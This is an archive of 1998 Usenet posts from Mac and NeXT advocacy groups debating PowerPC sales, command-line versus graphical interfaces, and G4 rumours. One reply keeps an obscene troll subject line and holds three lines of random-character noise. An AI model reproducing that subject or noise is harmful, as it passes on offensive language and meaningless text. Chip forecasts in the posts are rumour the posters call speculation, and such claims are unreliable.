Not all of PowerPC sales go to personal or even server or workstation
computers. Don't forget the embedded processor market which both Motorola
and IBM sell quite a bit to. Further, if IBM and Motorola were _really_
concerned with PPC sales aimed at personal computers, they would actually
market them. They don't. Intel is constantly marketting its chips, but you
never hear a peep from IBM or Motorola. So far they seem to have been quite
content to let Apple muddle through it all (and do a pretty bad job of it
for a while).
Furthermore, your comment is ridiculous. "If market share declines too
much, regardless of volume..." Not regardless of volume. If there are tens
of millions of PPC based computers sold every year there will be money to
be made off the PPC based market as far as software. This is true even if
there are a billion other computers sold every year. The size of the market
makes for profitability not the share.
Ryan Tokarek
<pulsar@springnet1.com>
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 19:56:00 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F87520.6EA871AE@nstar.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com> <heaney-1009982019280001@24.0.246.137>
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NNTP-Posting-Date: 11 Sep 1998 00:57:46 GMT
John Heaney wrote:
> Why does
> Apple need to ship it to every single user when the distinction of the
> MacOS from everything else is its ease of use via the GUI? What possible
> motive would they have?
Chuck Swiger said that it is important to him to have a capable GUI and
a capable CLI. I couldn't agree more for myself. It's become tiresome to
repeat the old "right tool for the right job" mantra, but it holds true
nonetheless. The fact that MacOS has (had, really) a good GUI doesn't
complete the picture; it cannot -- must not -- be used as an excuse to
*settle*.
The CLI is the right tool for a vast number of jobs to which most users
have not been introduced for the simple fact that so many people hold
this catholic opinion, saying "the GUI has replaced the CLI". No, no,
no, no, no! The GUI has *not*. It *cannot*, in its current form, serve
as an adequate replacement for the power of a CLI. It *can* serve as a
powerful and encroaching *supplement*, but factually speaking the GUI is
a mere infant in comparison to the CLI.
As I've already said before, the GUI has a long and bright future before
it. I have great hopes that the GUI may someday even replace the CLI in
all but the most esoteric of situations. But that day has not yet
arrived! In the meantime, calling for the death or ostracization of the
CLI can do nothing but marginalize the advantages it bears.
MJP
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mobile Pentium II 300 MHz
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6t6ruf$co8@newsb.netnews.att.com> <smileyy-1009981912370001@192.168.0.2> <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981857260001@news-proxy.cso.uiuc.edu> <01bddd17$c7634540$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981914510001@news-proxy.cso.uiuc.edu> <01bddd1a$c049eb80$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981955180001@news-proxy.cso.uiuc.edu> <01bddd20$d663d240$a672fe8c@watts.67.acs.ohio-state.edu>
Message-ID: <35f88497.0@news.depaul.edu>
Date: 11 Sep 98 02:01:59 GMT
In comp.sys.next.advocacy Steve <nospam@nospam!.kom> wrote:
> So my argument goes like this: (1) There must be some market share greater
> than zero; (2) To maintain mindshare in a high-tech company, market share
> must also be maintained; and (3) To maintain stockholder confidence in a
> publicly held company, market share usually must be stable or increasing.
> All of these suggest to me that market share must be an important
> consideration.
> If you still disagree, I suggest that our definitions are different and we
> obviously are not going to convince each other that the opposite viewpoint
> is correct.
The problem arises when you start talking about products with
divergent, but overlapping, markets. The Pentium and PowerPC
do have some overlap, but the PowerPC also sells well in markets
where the Pentium has no presence at all. Thus, the PowerPC can
do poorly as compared to the Pentium line, yet still have
high-volume, profitable, growing sales, due to the markets
outside the PC market.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 11 Sep 1998 16:28:52 GMT
Organization: Primenet (602)416-7000
Message-ID: <6tbj44$de$2@nnrp03.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <id_est-1009980135420001@192.168.1.3> <35F835F3.909C3E2A@ericsson.com> <6t9eqq$gjr@newsb.netnews.att.com> <35F87337.D69A6436@nstar.net> <heaney-1109980117350001@24.0.246.137>
John Heaney <heaney@SolidObject.com> wrote:
: I urge you to check out Prograph; not because it is THE solution, but
: because it is A solution. I have a whole list of improvements that would
: make it much better. And if it the runtime was incorporated into the
: operating system, like AppleScript, we would be well on our way.
I just had a funny thought. Why is this product "called" Prograph, rather
than "pictured" something? Is it because it is so much harder to learn
something's picture, harder to communicate a picture, and so on?
The only thing I can think of that has a picture rather than a name is the
artist formerly known as Prince. And that was just to mess with people's
minds. Can you draw his picture from memory?
I suspect that while imagery gives us the most rapid "recognition", there
is an upper limit on the complexity it can represent. All of us can write
a sentence to convey an idea, but we consider it a special talent to
communicate meaning with images (and we call it art). Consider "drawing"
this last paragraph for me.
As you read this message and plan your reply do you see images and
mentally sort them? Or do you (as most of us) carry your consciousness as
an internal monologue in the language of your childhood?
You said earlier that language was the wrong form of interaction with a
computer because a computer is not human. I submit that you have it
backwards, language is the correct form of interaction because you are
human.
John
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-1109981237170001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com> <6t92f7$fhs@newsb.netnews.att.com> <35F822A8.2ECB2800@ericsson.com> <heaney-1009981959380001@24.0.246.137> <6tb9tl$q4m$2@nnrp02.primenet.com>
Organization: Solid Object Software
Date: Fri, 11 Sep 1998 16:28:24 GMT
NNTP-Posting-Date: Fri, 11 Sep 1998 09:28:24 PDT
In article <6tb9tl$q4m$2@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> John Heaney <heaney@SolidObject.com> wrote:
> : In article <35F822A8.2ECB2800@ericsson.com>, Michael Peck
>
> : > As I've already said, learning the CLI is an up-front investment of time
> : > and energy that pays for itself. If you don't believe me, that's that.
> : > You'll never find out.
>
> : Think really hard about the amount of time and energy you have put into
> : learning the ins and outs of the unix CLI. Now, multiple that by a
> : hundred. Is it still worth it? That's what the average user is up against.
>
> Excuse me, where does this factor of one hundred come from? I'm sure
> Michael is quite bright, but how did we determine that he learns one
> hundred times more easily than the average user?
Well, I made up the 100, but there is a factor in there. Whether, it's 10,
100 or 1000 obviously depend on individuals. I am not saying that Michael
is smarter than the average user, but he can most certainly learn
programming faster than the average user, which is really what CLI is all
about. I'm sure this has everything to do with his experience growing up
and probably some genetic factors. It has been shown that logic does not
come naturally to humans (it is not intuitive); it is learned and must be
practiced. Most people do not have the basis for the level of logic
required to easily learn a CLI. That's why we get paid the big bucks. :)
It's not that Michael is smarter; he is merely different.
> Factors of 100 aside, let's remember that there is a 1:1 ratio involved.
> If one hour of preparation saves you one hour of work, you are even. If
> you save any more you are ahead.
And if you save any less, you are behind.
> It may be a matter of personal philosophy, but I'd say that 5 hours of
> study on almost any subject will save you that much effort in the future.
But you would be wrong. If you already know how to do something, spending
5 hours learning an alternative method of doing the same thing will
confuse you and make you less efficient at either. It takes practice that
becomes experience to integrate the new pathways in the brain before
efficiency can be attained.
Another example, my wife is a people person. We visited her doctor
yesterday and we spoke with the intern that assists the doctor. My wife
exclaimed, "Oh, you cut your hair!" I never would have known. She asked,
"How did you medical boards go?" I then remembered her telling us she was
going to take them. There's no way I could have done that. I just do not
retain that kind of information. And, yet, this is the same woman that
I've had to remind many times to go to the Chooser to change printers. She
just doesn't have enough of the right kind of experience in her life to
integrate that fact into her being and, since she doesn't change printers
often, she forgets. I could be told that once and remember it forever. But
I can't remember people's names to save my life.
Prgrammers are not users. That's one of the biggest reasons why software
isn't easier to use already. It's very hard for programmers not to write
software for themselves, but when they do, they make it harder to use for
users. We should all thank Apple for taking user interface design out of
the hands of programmers and elevating it to the level of its own field of
study.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 11 Sep 1998 16:35:09 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6tbjft$hq4$1@news.mxol.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com> <heaney-0909981627150001@24.0.246.137> <35F6F4F8.F3327219@ericsson.com> <heaney-0909982200140001@24.0.246.137> <35F76A3F.CEAA6265@nstar.net> <6t9kb8$f29$3@news.mxol.com> <35F85D52.45E77BB@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
>Charles W. Swiger wrote:
>> In the past, I have strongly disagreed with people (mainly Mac users) who
>> want to remove the CLI entirely. Did you happen to fall into that
>> category, by any chance?
>
> The text to which you responded made it clear that I do not hold that
> position, a fact that makes your question a bit odd.
Some people actually change their opinions over time. In a moment of
optimism, I wondered whether you might have moved from holding an
unreasonable opinion to holding a more sensible one.
> Our disagreement was, in fact, over whether there were interaction tasks
> that the GUI made possible, and which were impossible from the CLI. My
> position was in the affirmative.
Ah, yes-- I remember now. Tell me, have you heard about the text-mode
version of Quake? It'll work in an xterm, over a telnet session, or even on
a VT100 terminal. http://webpages.mr.net/bobz/ttyquake...
-Chuck
PS: I still don't really understand why you brought up my name in the first
place in the context of this CLI/GUI debate. Oh, well....
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-1109981251420001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com> <6t92f7$fhs@newsb.netnews.att.com> <35F822A8.2ECB2800@ericsson.com> <heaney-1009981959380001@24.0.246.137> <6tb9c1$q4m$1@nnrp02.primenet.com> <joe.ragosta-1109981035180001@wil123.dol.net> <6tbdr8$dbh$1@bunyip.cc.uq.edu.au> <35f940de.0@news.depaul.edu>
Organization: Solid Object Software
Date: Fri, 11 Sep 1998 16:42:48 GMT
NNTP-Posting-Date: Fri, 11 Sep 1998 09:42:48 PDT
In article <35f940de.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Christopher Smith <drsmithy@usa.net> wrote:
>
> > Joe Ragosta <joe.ragosta@dol.net> wrote in message
> > >
> > >Effectively? It's a lot more than that.
> > >
> > >Take 20-30 commands PLUS all the wildcards that go with them.
>
> > Don't forget things like piping and redirection, not to mention the (usually
> > in Unix) totally inconsistent plethora of switches to go along with all of
> > those commands.
>
> Nonsense. You learn what you need. There's no need to develop
> complete mastery of any particular Unix command, unless you really
> need to completely master it. To this extent, it's no different
> than GUI's.
>
> Does every Mac user memorize *every* aspect of all their applications, in
> order to use the machine at all?
>
> NO! They learn the minimum that they need, and pick up things as they go
> along. With some software, they can play around, and the same is
> true on the commandline. With other software, they cannot play
> around (formatting a hard disk cannot be undone). The command line
> is the same.
OK, I can't keep going anymore. Billions of dollars have been spent on
making the computer interface easier to use and the GUI is the current
state of affairs. If you can't accept that the GUI is more suited to the
vast majority of computer users then I think you're living in a very
unusual context. The only issues worth discussing are whether a CLI can be
of _any_ benefit to a typical user, which I believe is no, and whether the
benefits to developers warrant shipping a CLI as part of a user
configuration. Again, I think the answer is no; it should be part of a
developer configuration.
Thanks for the lively discussion. I hope I haven't offended anyone.
Cheers.
Message-ID: <35F98224.4B02@capmed.com>
Date: Fri, 11 Sep 1998 15:03:48 -0500
From: Dani Richard <richard@capmed.com>
Organization: EHS
MIME-Version: 1.0
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <35F59780.F2B41779@ericsson.com> <6t76ga$4vm$1@nnrp3.snfc21.pbi.net> <35F7657E.C56E76A9@nstar.net> <6tbqcu$ubt$1@nnrp4.snfc21.pbi.net> <35F976A1.E9C83A99@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Michael Peck wrote:
>
> William Edward Woody wrote:
>
> > (She's too busy
> > designing 4,000 sqft custom houses to sit down and learn
> > about regular expressions.)
>
> This is the statement I have real trouble with. Did people design 4,000
> sqft custom houses before they had GUIs?
>
> It's this whole "too busy" dismissal that makes me so angry. Number one,
> it's totally unquantifiable, so it just hangs out there, a bad excuse.
> Number two, it totally ignores what I have been saying this entire
> thread: using the CLI saves you time!
>
> You know how Mac users love to point out that Macs are only more
> expensive in up-front cost? They're always talking about "Total Cost of
> Ownership". Okay, let's talk about "Total Cost of Usership". Let's talk
> about increasing returns. Let's talk about positive feedback mechanisms.
> Let's talk about cold fusion.
>
> > It would help if you would pay attention to my arguments
> > rather than jump to conclusions. This would help make
> > the discussion a little more civil. Thanks.
>
> Well, you got a nice little jab in there. By the way, I am expending
> tremendous effort trying to understand and speak levelly with everyone
> involved in this conversation. I believe that everyone is doing a pretty
> good job. Let's not get off-track.
>
> MJP
As a professional programmer I program what I am told to use. In the
past it has been CDC, VAX, several Unix systems, Macintosh and now
Windows NT.
As a user and programmer of a home machine, I get to chose what I want.
I could spend my money on anything. Well, I have owned a Mac (128K to
Plus), a Mac II and a 7100/80. All running MacOS. I have programmend in
(TML) Pascal, Smalltalk, Lightspeed C, MPW C++ with MacApp and Symantic
C++ v 8.4. Bottom line, I don't like CLI. I like GUI. That is a personal
preference. I would rather NOT have a computer at home than to have one
without a GUI. Once again a personal preference.
Only I am not alone in this preference. And that is where people will
spend or not spend money. And that is what keeps both CLI and GUI
programmer employed.
Dani
From: Richard Adler <rich@spinx.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: Appearance and Themes (was: Re: bummer of os 8.5 gm)
Date: Fri, 11 Sep 1998 21:18:48 -0500
Organization: Netscape User
Message-ID: <35F9DA08.C0828002@spinx.com>
References: <forrestDELETE-THIS!-1109980100490001@term1-27.vta.west.net> <B21EE1E9-31A60@209.109.224.169> <arlo-1109981643450001@cm40133.cableco-op.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Arlo Rose wrote:
> What's happening is that Steve Jobs doesn't like how crappy and outdated
> Gizmo, Hi-Tech, and the other themes that were done look, and has told the
> Appearance team not to ship them.
>
> Not a big surprise considering his reaction the first time I showed him Gizmo.
>
Could you post Jobs's reactions and comments please?
From: "Earl Malmrose" <malmrose@nospam.jetcity.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Fri, 11 Sep 1998 22:07:42 -0700
Organization: ISPNews http://ispnews.com
Message-ID: <6tcvpr$rs0$1@news5.ispnews.com>
References: <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <macghod-0609981225550001@sdn-ar-001casbarp298.dialsprint.net> <82HI1.1591$2s.1694532@newsfeed.slurp.net> <andyba-ya02408000R1009981052140001@news> <fe6K1.323$D%1.403779@newsfeed.slurp.net> <andyba-ya02408000R1109980923180001@news> <35f98826.58068014@newshost.cc.utexas.edu>
NNTP-Posting-Date: 12 Sep 1998 05:11:23 GMT
Ben Turner wrote in message <35f98826.58068014@newshost.cc.utexas.edu>...
>Um. I'm not really following this thread, but...
>
>I'm using Win95. When I delete a folder that contains subfolders, all
>the files are listed individually in the Recycle Bin, not just as one
>folder.
I only have Win98 installed, but it shows folders in the Recycle Bin as
folders. Somewhere between the first Win95 and Win98 that must have changed.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 11 Sep 1998 20:25:22 GMT
Organization: Primenet (602)416-7000
Message-ID: <6tc0vi$3fu$1@nnrp02.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com> <6t92f7$fhs@newsb.netnews.att.com> <35F822A8.2ECB2800@ericsson.com>
<heaney-1009981959380001@24.0.246.137> <6tb9c1$q4m$1@nnrp02.primenet.com> <joe.ragosta-1109981035180001@wil123.dol.net> <6tbdr8$dbh$1@bunyip.cc.uq.edu.au> <35f940de.0@news.depaul.edu> <6tbm8u$c96$1@bunyip.cc.uq.edu.au>
Christopher Smith <drsmithy@usa.net> wrote:
: My problem is more with the inconsistency of Unix commands and their
: switches - for example you don't have to learn a different way to copy &
: paste from each application in MacOS (and Windows), it's the same
: everywhere. However, even related Unix commands often have different
: switches to do the same thing, or behave differently.
There is a POSIX shell definition that attempts this. I believe that the
IEEE still charges for copies of the spec, and that it is not available on
the net. I used to have a copy and it is a great document, with a
"rationale" provided for the choices made between opposing implementations
and in pursuit of consistency.
John
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Fri, 11 Sep 1998 20:21:39 -0400
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <tbrown-1109982021400001@mv203.axom.com>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <keyes-ya02408000R1009980913380001@news> <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu> <joe.ragosta-1009981016020001@wil49.dol.net> <6t9520$rfn$2@hecate.umd.edu>
In article <6t9520$rfn$2@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
>Don't think so. Maybe 1 or 2 algorithms will be sped up. Although
>Altivec will require explicit OS support, and I'm not sure that IBM
>will put it in AIX just yet, since it doesn't debelieve in Altivec for
>the markets it is targetting. We'll have to wait and see on this one.
Hm....it just occurred to me that with OS X, Apple will release an OS that
should be able to run Spec directly, instead of relying upon scores from
AIX that don't necc. translate to the Mac OS. Since OS X will have
AltiVec support, if AltiVec will be of any use, Apple can simply run the
test.
--
tbrown@netset.com
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: HI BITCHES, COME FUCK ME
Date: Fri, 11 Sep 1998 22:26:19 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1109982226210001@sdn-ar-001casbarp290.dialsprint.net>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net> <heaney-0909981615420001@24.0.246.137> <35F6FEE8.9D090CC3@ericsson.com> <6t7798$5l$1@nnrp3.snfc21.pbi.net> <35F767A9.F72D95C@nstar.net> <6ta4m1$rbf@news1.panix.com> <bdz-8999655564431236@hell-flame-wars.org> <slrn6vh7h5.ci.jason@jhste1.dyn.ml.org> <macghod-1009982229580001@sdn-ar-001casbarp205.dialsprint.net> <6tbr5j$lse$1@nnrp4.snfc21.pbi.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <6tbr5j$lse$1@nnrp4.snfc21.pbi.net>, "William Edward Woody"
<woody@alumni.caltech.edu> wrote:
> Steve Sullivan wrote in message ...
> >If you are a mac user and as offensive as the above person, how about just
> >keeping your mouth shut and do the mac community a favor by not making mac
> >users look like idiots.
>
> Who said this guy is a Mac user? I haven't seen him around before.
No one, but mactrolls usually are offensive to wintrolls, and wintrolls
are usually offensive to mactrolls. This guy is focusing his attention on
a couple of wintrolls er I mean windows people.
> - Bill Woody
> The PandaWave http://www.pandawave.com
>
> (Who wonders about the sort of bigotry that causes someone to immediately
> assume that some random troll is a member of the "other side".)
Uh huh. Someone focuses all their attention on saying offensive comments
about mac users and I would assume they are wintrolls. And what is the
"other side"? I am a mac user, so I assumed the guy is a wintroll?
--
Just because you use a mac doesnt mean you have to lose all
semblance of reason and logic
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 11 Sep 98 17:33:50 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21F0FA4-2D0FA@206.165.43.98>
References: <6tc87p$ko0$1@news.mxol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Charles W. Swiger <chuck@codefab.com> said:
>
>That's a perfect example of how saving the internal representation (the
>enumeration values of the shape types) makes the system less extensible,
>because it presumably wouldn't know what to do with tag 13....
Sure, but it would have been easy to add capabilities to handle unknown
shapetypes. In fact, it is possible to handle new types of graphical both
in the file format and programmatically without an OOP library handy.
QuickTime does it. QD3D does it. GX doesn't. Poor design call, I guess.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 11 Sep 1998 19:02:15 GMT
Organization: University of Maryland, College Park
Message-ID: <6tbs3n$chh$1@hecate.umd.edu>
References: <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu> <01bddd7c$b01e4960$044bd683@tbp.13106.teletechintl.com> <6tb7f9$n1$1@hecate.umd.edu> <joe.ragosta-1109981025010001@wil128.dol.net> <6tbd38$252$1@hecate.umd.edu> <joe.ragosta-1109981141100001@0.0.0.0>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: >Joe Ragosta (joe.ragosta@dol.net) wrote:
: >: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
: >
: >: >non (jj@jj) wrote:
: >: >: heard of the G4? its a reality and already been demoed.
: >: >: You were saying? IA-64? whats that?
: >: >
: >: >G4 has already been demo'ed? Where? and what are the details?
: >
: >: He's wrong--at least as far as public demos.
: >
: >: I think I recall seeing that there were reports of G4 systems running at
: >: Apple, but I don't know if there are Merced systems running at Compaq for
: >: comparison.
: >
: >I still would like to know what "G4" is.
: It's not that simple. Remember that G2 included the 604, 604e, 603, and
: 603e chips (and also 602, IIRC). Each "G" series is a generation, not a
: specific chip.
: I've heard a lot of rumors, any one of which may be true or false. These
: rumors indicate that various G4 chips will include:
: 1. G3 with Altivec
: 2. Multiple G3 cores on one chip
: 3. 64 bit extension to G3
: 4. Enhanced caching (up to 4 or 8 MB L2)
: 5. On-chip L2
A lot of this does not qualify a chip to be named as a generation
beyond present designation. If 604 and 603 are the same "generation".
then a mere addition of larger cache and/or Altivec shouldn't deserve
to be named as a generation up.
: And so on. IOW, it's all speculation at this point.
: >
: >It'll be hard to have Merced systems running at Compaq now, since there
: >are no Merced processors yet. AFAIK, Merced hasn't taped out yet, and
: >you need to at least tape out to get a sample out, buggy or not.
: >
: >: The best you can say is that they're both still vapor, with the G4
: >: _anticipated_ well before Merced.
: >
: >ack.
: Although if it really _is_ true that Apple has G4 systems in house, that
: would be confirmation that G4 is ahead of Merced. That's a pretty good
: bet, anyway, since Moto and IBM say G4 chips will be shipping in 1999
: while Merced is 2000 at best.
Except I do not expect G4 to compete with Merced. Merced/McKinley will
compete initially in 2001+ for a few years in the high end workstation/server
market. I do eventaully expect that Intel/Hp will try to drive it down
into consumer space, but G4/Merced will probably be obsolete at that time.
I do not expect G4 based servers. Maybe IBM workstations, but I think that
POWER3 will fill that role more than adequately. (unless they decide to
call POWER3 as a member of "G4"..)
: --
: Regards,
: Joe Ragosta
: See the Complete Macintosh Page at:
: http://www.taylor-design.com/cMacindex.html
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Fri, 11 Sep 1998 16:01:50 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F98FBE.E3AB7F41@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <35F59780.F2B41779@ericsson.com> <6t76ga$4vm$1@nnrp3.snfc21.pbi.net> <35F7657E.C56E76A9@nstar.net> <6tbqcu$ubt$1@nnrp4.snfc21.pbi.net> <35F976A1.E9C83A99@ericsson.com> <35F98224.4B02@capmed.com>
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Dani Richard wrote:
[cut]
> Only I am not alone in this preference. And that is where people will
> spend or not spend money. And that is what keeps both CLI and GUI
> programmer employed.
Something interesting here: I have never heard of a "CLI programmer". I
know of many people who are employed entirely in the pursuit of
designing and/or implementing GUIs.
It takes an entire salaried programmer, sometimes more. That is very
fascinating to me.
MJP
From: stone@enetis.net (Brian Stone)
Newsgroups: comp.sys.mac.advocacy,comp.os.mac.advocacy,comp.sys.powerpc.advocacy,comp.sys.next.advocacy
Subject: Re: CISC vs RISC
Date: Fri, 11 Sep 1998 19:53:25 -0600
Organization: Stone Entertainment
Message-ID: <stone-1109981953250001@rc-pm3-05.enetis.net>
